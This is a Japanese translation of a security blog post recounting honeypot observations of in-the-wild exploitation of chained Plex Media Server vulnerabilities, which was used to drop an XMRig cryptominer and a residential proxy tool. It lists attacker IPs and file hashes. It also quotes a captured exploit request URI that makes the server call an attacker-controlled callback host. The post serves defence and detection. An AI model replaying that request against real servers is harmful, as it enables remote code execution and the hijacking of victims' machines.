Plexの脆弱性が仮想通貨マイナーを仕込むために悪用されている
Plex vulnerabilities being exploited in the wild to drop a cryptominer (boredhackerblog.info)
要約
Plex Media Serverの複数の脆弱性が悪用され、攻撃者はシステムに仮想通貨マイナーを仕込むことが可能になっています。この脆弱性は、リモートコード実行（RCE）を可能にする複数のCVE（CVE-2026-96652、CVE-2026-96654、CVE-2026-96655、CVE-2026-96656）が連鎖して発生します。攻撃者は、悪意のあるペイロードをダウンロードさせ、仮想通貨マイニングソフトウェアやプロキシツールを実行させることが確認されています。Plexユーザーは、迅速なアップデートが推奨されます。
全文翻訳
はじめに:
（執筆、調査などにAIは関与していません...）
奇妙なフォントやスペーシングが見られる場合は、Bloggerのせいにしてください。
実世界での悪用部分だけを知りたい場合は、「実世界での悪用」までスキップしてください。
単なるクリプトマイナーです。一方では、被害者にとって大した問題ではありませんが、他方では、興味深いコンテンツを書くことができません。
攻撃者がより洗練されたものを展開しても驚きません。Plexは住宅用IPでホストされている可能性があり、攻撃者は住宅用IPプロキシがあれば企業のVPNやメールにアクセスできると考えるでしょう。（編集：下部の更新を参照。プロキシが展開されているのを確認しました）
2026年9月1日、Plexは電子メールを送信し、重要なセキュリティアップデートに関するセキュリティアナウンスを行いました。投稿はこちらをご覧ください：https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319
インフォセック担当者およびPlexユーザーとして、この脆弱性が何であるか、そして実世界での悪用を目にすることができるかについて非常に興味がありました。脆弱性のあるPlexバージョンを実行しているハニーポットをセットアップしました。
詳細は限られており、彼らはページをさらに詳細に更新すると言っていたので、私は監視を続けましたが、何も見ませんでした。
ついに、9月26日に、https://www.cvedetails.com/vulnerability-list/vendor_id-14994/year-2026/Plex.html でいくつかのCVEが公開されましたが、CVSSスコアが9以上のもはありませんでした。それらには、当時公開されていなかったブログ記事へのリンクが含まれていました。
リンクはhttps://zmain.info/blog/plex2shell で、リリースは10月中旬の予定だったので、私は待って、10月16日（昨日）にようやく更新を見ました。著者は、リモートコード実行を達成するためにいくつかの脆弱性を発見し、連鎖させていました。これは非常にクールでした。
CVE:
CVE-2026-96652
CVE-2026-96654
CVE-2026-96655
CVE-2026-96656
こちらが彼らのコードです：https://github.com/code-zm/plex2shell/
ラボでテストを行いました。検出/シグネチャ作業のためのpcapsはこちらです：https://github.com/BoredHackerBlog/plex2shell_pcap
Plex2Shell 実世界での悪用:
私のハニーポットは、主にスキャンと一般的な悪用試行を観測しました。
本日午前（10月17日）現在、ついに実世界での悪用を観測しました。
デフォルトでは、ハニーポットからのアウトバウンドトラフィックを許可していませんが、この脆弱性の仕組みにより、後で設定を変更する必要がありました。そのため、残念ながらすべての攻撃のペイロードを取得できませんでした。部分的なデータである可能性があります。pcapsをまだ確認しておらず、tcpdumpの設定も変更する必要がありました。攻撃者はわずかに変更されたコードとテクニックを使用している可能性もあります。
観測されたのは以下の通りです：
最初の悪用試行は 45.194.92.222 から来ました。zeekログから：
"uri": "/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471",
"user_agent": "Python-urllib/3.10",
以下の2つのIPアドレスも悪用を行っていました：
91.92.40.202
176.65.139.228
［画像: 攻撃元IPアドレスのリストを示すスクリーンショット］
ハニーポットの設定を変更してアウトバウンドトラフィックを許可するようにしたところ、45.194.92.222 からの継続的な悪用が観測されました。
今回は、ログでファイルダウンロードが 217.60.194.116 から行われていることを確認しました。
［画像: ファイルダウンロードのログを示すスクリーンショット］
Dockerファイルに含まれていたのは以下の内容でした：
［画像: Dockerファイルの内容を示すスクリーンショット］
もちろん、これはクリプトマイナーです。
［画像: クリプトマイナーの実行結果を示すスクリーンショット］
IOCs:
攻撃の検出には、私のgithub pcapリンクと、メイン著者のソースコードを参照してください。
これは、ハニーポットで観測されたものだけです。
執筆現在、攻撃に関与しているIPアドレス：
91.92.40.202
176.65.139.228
45.194.92.222
176.65.139.228
悪意のあるファイルのダウンロード元：
217.60.194.116 (docker & x)
ファイルハッシュ：
5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441 docker
68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7 x (upx packed)
b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49 x (upx unpacked)
編集：10月17日、2回目の更新：
さらにアクティビティが増加し、Githubにアーティファクトをドロップしました。
［画像: 追加のログとアクティビティを示すスクリーンショット］
［画像: 追加のログとアクティビティを示すスクリーンショット］
"myawesomeproxy" も実行されているのを確認しました（分析する時間がありませんでしたが、現在Githubにあります）。
［画像: myawesomeproxy の実行を示すスクリーンショット］
ハッシュ：
e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9 myawesomeproxy
2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db xmrig
実行時に表示されるのは以下の通りです：
"Running this software on any of your devices makes you agree to the potential external use of your internet traffic"
［画像: myawesomeproxy の実行時のメッセージを示すスクリーンショット］
myawesomeproxy のサンドボックスレポート：
https://app.any.run/tasks/570b38df-d866-4ac8-93c2-ed2792c3478f
https://tria.ge/261017-3ytcaady7p
https://tria.ge/261018-ab8jgady9p
proxystream.st に関連するトラフィックを観測し、以下の情報を見つけました：https://www.bitsight.com/blog/who-invited-aisuru-lan-party
類似のサンプルがグーグル検索で見つかりました：https://www.joesandbox.com/analysis/1934662/0/html
編集：10月18日、2回目の更新
あまり情報が見つからなかったため、数年前に作成したRedditアカウントにログインし、他の人が影響を受けているかを確認するためにこのディスカッションを開始しました：https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/
脆弱性を発見した人物は、ここで検出方法を公開しました：https://github.com/code-zm/plex2shell/tree/main/detection